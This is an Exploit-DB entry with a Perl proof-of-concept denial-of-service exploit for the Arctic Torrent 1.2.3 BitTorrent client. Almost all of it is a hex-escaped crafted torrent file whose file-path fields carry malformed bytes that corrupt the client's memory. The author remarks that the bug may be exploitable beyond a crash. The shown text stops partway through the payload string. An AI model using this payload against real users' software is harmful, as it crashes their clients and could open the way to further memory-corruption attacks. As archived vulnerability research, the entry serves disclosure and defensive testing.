Exploit-DB #21824
Description: Arctic Torrent 1.2.3 - Memory Corruption (Denial of Service)
Type: dos
Platform: windows
Date: 2012-10-09
Author: Jean Pascal Pereira

Exploit:
#!/usr/bin/perl
 
# Arctic Torrent 1.2.3 <= Remote Memory Corruption (DoS)
 
# Author: Jean Pascal Pereira <pereira@secbiz.de>
 
# Vendor URI: http://int64.org/projects/arctic-torrent/
 
# Vendor Description:
# A minimal BitTorrent client. It wont have all the pretty features that other torrent apps have,
# but focuses on low memory and cpu usage. Because it was written in C++, you dont get the high 
# memory requirements of Java or high CPU usage of Python.

# INFO: 
# This is maybe exploitable. 0xC000000D exceptions are a pain in the ass to track down.
# Please feel free to do some further research if you are interested.

# Proof of Concept (remote crash):
 
my $crafted =

"\x64\x38\x3A\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x34\x32\x3A\x68\x74".
"\x74\x70\x3A\x2F\x2F\x74\x72\x61\x63\x6B\x65\x72\x2E\x6F\x70\x65".
"\x6E\x62\x69\x74\x74\x6F\x72\x72\x65\x6E\x74\x2E\x63\x6F\x6D\x2F".
"\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x31\x33\x3A\x61\x6E\x6E\x6F\x75".
"\x6E\x63\x65\x2D\x6C\x69\x73\x74\x6C\x6C\x34\x32\x3A\x68\x74\x74".
"\x70\x3A\x2F\x2F\x74\x72\x61\x63\x6B\x65\x72\x2E\x6F\x70\x65\x6E".
"\x62\x69\x74\x74\x6F\x72\x72\x65\x6E\x74\x2E\x63\x6F\x6D\x2F\x61".
"\x6E\x6E\x6F\x75\x6E\x63\x65\x34\x34\x3A\x75\x64\x70\x3A\x2F\x2F".
"\x74\x72\x61\x63\x6B\x65\x72\x2E\x6F\x70\x65\x6E\x62\x69\x74\x74".
"\x6F\x72\x72\x65\x6E\x74\x2E\x63\x6F\x6D\x3A\x38\x30\x2F\x61\x6E".
"\x6E\x6F\x75\x6E\x63\x65\x65\x65\x31\x30\x3A\x63\x72\x65\x61\x74".
"\x65\x64\x20\x62\x79\x31\x33\x3A\x75\x54\x6F\x72\x72\x65\x6E\x74".
"\x2F\x31\x38\x35\x30\x31\x33\x3A\x63\x72\x65\x61\x74\x69\x6F\x6E".
"\x20\x64\x61\x74\x65\x69\x31\x32\x37\x31\x33\x39\x30\x35\x39\x31".
"\x65\x38\x3A\x65\x6E\x63\x6F\x64\x69\x6E\x67\x35\x3A\x55\x54\x46".
"\x2D\x38\x34\x3A\x69\x6E\x66\x6F\x64\x35\x3A\x66\x69\x6C\x65\x73".
"\x6C\x64\x36\x3A\x6C\x65\x6E\x67\x74\x68\x69\x32\x38\x35\x32\x39".
"\x37\x38\x37\x30\x65\x34\x3A\x70\x61\x74\x68\x6C\x39\x34\x3A\xE5".
"\x90\x8D\xE7\x8A\xFF\xFF\xFF\xFF\xE3\x83\x83\xE3\x82\xB7\xE3\x83".
"\xBC\x20\xE7\xAC\xAC\x32\x34\xE8\xA9\xB1\xE3\x80\x8C\xE6\xB6\x88".
"\xE6\x81\xAF\xE4\xB8\x8D\xE6\x98\x8E\xE3\x83\xBB\xE3\x83\xA9\xE3".
"\x83\x83\xE3\x82\xB7\xE3\x83\xBC\xE3\x82\x92\xE6\x8D\x9C\xE3\x81".
"\x9B\xEF\xBC\x81\xE3\x80\x8D\x28\x44\x56\x44\x20\x36\x34\x30\x78".
"\x34\x38\x30\x20\x57\x4D\x56\x39\x29\x2E\x77\x6D\x76\x65\x65\x64".
"\x36\x3A\x6C\x65\x6E\x67\x74\x68\x69\x32\x36\x37\x34\x39\x37\x35".
"\x39\x32\x65\x34\x3A\x70\x61\x74\x68\x6C\x38\x38\x3A\xE5\x90\x8D".
"\xE7\x8A\xAC\xE3\x83\xA9\xE3\x83\x83\xE3\x82\xB7\xE3\x83\xBC\x20".
"\xE7\xAC\xAC\x31\x33\xE8\xA9\xB1\xE3\x80\x8C\xE3\x82\xB5\xE3\x83".
"\xB3\xE3\x83\x87\xE3\x82\xA3\xE3\x81\xAF\xE7\x89\x9B\xE3\x81\xA9".
"\xE3\x82\x8D\xE3\x81\xBC\xE3\x81\x86\xEF\xBC\x9F\xE3\x80\x8D\x28".
"\x44\x56\x44\x20\x36\x34\x30\x78\x34\x38\x30\x20\x57\x4D\x56\x39".
"\x29\x2E\x77\x6D\x76\x65\x65\x64\x36\x3A\x6C\x65\x6E\x67\x74\x68".
"\x69\x32\x36\x36\x35\x34\x34\x36\x32\x32\x65\x34\x3A\x70\x61\x74".
"\x68\x6C\x38\x34\x3A\xE5\x90\x8D\xE7\x8A\xAC\xE3\x83\xA9\xE3\x83".
"\x83\xE3\x82\xB7\xE3\x83\xBC\x20\xE7\xAC\xAC\x32\x36\xE8\xA9\xB1".
"\x28\xE7\xB5\x82\x29\xE3\x80\x8C\xE5\xA4\xA2\xE3\x81\xAB\xE5\x90".
"\x91\xE3\x81\xA3\xE3\x81\xA6\xE8\xB5\xB0\xE3\x82\x8C\xEF\xBC\x81".
"\xE3\x80\x8D\x28\x44\x56\x44\x20\x36\x34\x30\x78\x34\x38\x30\x20".
"\x57\x4D\x56\x39\x29\x2E\x77\x6D\x76\x65\x65\x64\x36\x3A\x6C\x65".
"\x6E\x67\x74\x68\x69\x32\x36\x35\x32\x39\x35\x38\x35\x32\x65\x34".
"\x3A\x70\x61\x74\x68\x6C\x39\x31\x3A\xE5\x90\x8D\xE7\x8A\xAC\xE3".
"\x83\xA9\xE3\x83\x83\xE3\x82\xB7\xE3\x83\xBC\x20\xE7\xAC\xAC\x31".
"\x39\xE8\xA9\xB1\xE3\x80\x8C\xE3\x82\xB3\xE3\x83\xAA\xE3\x83\xB3".
"\xE3\x81\xAE\xE5\x88\x9D\xE6\x81\x8B\xE3\x81\xA8\xE3\x81\x9F\xE3".
"\x81\x8B\xE3\x82\x89\xE3\x82\x82\xE3\x81\xAE\xE3\x80\x8D\x28\x44".
"\x56\x44\x20\x36\x34\x30\x78\x34\x38\x30\x20\x57\x4D\x56\x39\x29".
"\x2E\x77\x6D\x76\x65\x65\x64\x36\x3A\x6C\x65\x6E\x67\x74\x68\x69".
"\x32\x35\x36\x32\x33\x36\x39\x32\x32\x65\x34\x3A\x70\x61\x74\x68".
"\x6C\x38\x38\x3A\xE5\x90\x8D\xE7\x8A\xAC\xE3\x83\xA9\xE3\x83\x83".
"\xE3\x82\xB7\xE3\x83\xBC\x20\xE7\xAC\xAC\x32\x31\xE8\xA9\xB1\xE3".
"\x80\x8C\xE3\x81\x8A\xE3\x81\xB0\xE3\x81\x82\xE3\x81\xA1\xE3\x82".
"\x83\xE3\x82\x93\xE3\x81\xAB\xE4\xBC\x9A\xE3\x81\x84\xE3\x81\x9F".
"\xE3\x81\x84\xE3\x80\x8D\x28\x44\x56\x44\x20\x36\x34\x30\x78\x34".
"\x38\x30\x20\x57\x4D\x56\x39\x29\x2E\x77\x6D\x76\x65\x65\x64\x36".
"\x3A\x6C\x65\x6E\x67\x74\x68\x69\x32\x35\x33\x38\x38\x31\x37\x38".
"\x34\x65\x34\x3A\x70\x61\x74\x68\x6C\x39\x31\x3A\xE5\x90\x8D\xE7".
"\x8A\xAC\xE3\x83\xA9\xE3\x83\x83\xE3\x82\xB7\xE3\x83\xBC\x20\xE7".
"\xAC\xAC\x30\x39\xE8\xA9\xB1\xE3\x80\x8C\xE7\xA9\xBA\xE3\x81\x8B".
"\xE3\x82\x89\xE6\x9D\xA5\xE3\x81\x9F\xE3\x81\x8A\xE3\x81\xA6\xE3".
"\x82\x93\xE3\x81\xB0\xE3\x81\x8A\xE5\xAC\xA2\xE6\xA7\x98\xE3\x80".
"\x8D\x28\x44\x56\x44\x20\x36\x34\x30\x78\x34\x38\x30\x20\x57\x4D".
"\x56\x39\x29\x2E\x77\x6D\x76\x65\x65\x64\x36\x3A\x6C\x65\x6E\x67".
"\x74\x68\x69\x32\x35\x33\x33\x31\x32\x31\x37\x36\x65\x34\x3A\x70".
"\x61\x74\x68\x6C\x37\x36\x3A\xE5\x90\x8D\xE7\x8A\xAC\xE3\x83\xA9".
"\xE3\x83\x83\xE3\x82\xB7\xE3\x83\xBC\x20\xE7\xAC\xAC\x32\x35\xE8".
"\xA9\xB1\xE3\x80\x8C\xE3\x81\x8A\xE5\xB8\xB0\xE3\x82\x8A\xE3\x83".
"\xA9\xE3\x83\x83\xE3\x82\xB7\xE3\x83\xBC\xE3\x80\x8D\x28\x44\x56".
"\x44\x20\x36\x34\x30\x78\x34\x38\x30\x20\x57\x4D\x56\x39\x29\x2E".
"\x77\x6D\x76\x65\x65\x64\x36\x3A\x6C\x65\x6E\x67\x74\x68\x69\x32".
"\x34\x30\x35\x30\x36\x39\x35\x30\x65\x34\x3A\x70\x61\x74\x68\x6C".
"\x31\x30\x30\x3A\xE5\x90\x8D\xE7\x8A\xAC\xE3\x83\xA9\xE3\x83\x83".
"\xE3\x82\xB7\xE3\x83\xBC\x20\xE7\xAC\xAC\x32\x33\xE8\xA9\xB1\xE3".
"\x80\x8C\xE9\xA0\x91\xE5\xBC\xB5\xE3\x82\x8C\xE3\x82\xB8\xE3\x83".
"\xA7\xE3\x83\xB3\xE3\x83\xBB\xE3\x83\xA9\xE3\x83\x83\xE3\x82\xB7".
"\xE3\x83\xBC\xE3\x82\x92\xE5\xAE\x88\xE3\x82\x8C\xEF\xBC\x81\xE3".
"\x80\x8D\x28\x44\x56\x44\x20\x36\x34\x30\x78\x34\x38\x30\x20\x57".
"\x4D\x56\x39\x29\x2E\x77\x6D\x76\x65\x65\x64\x36\x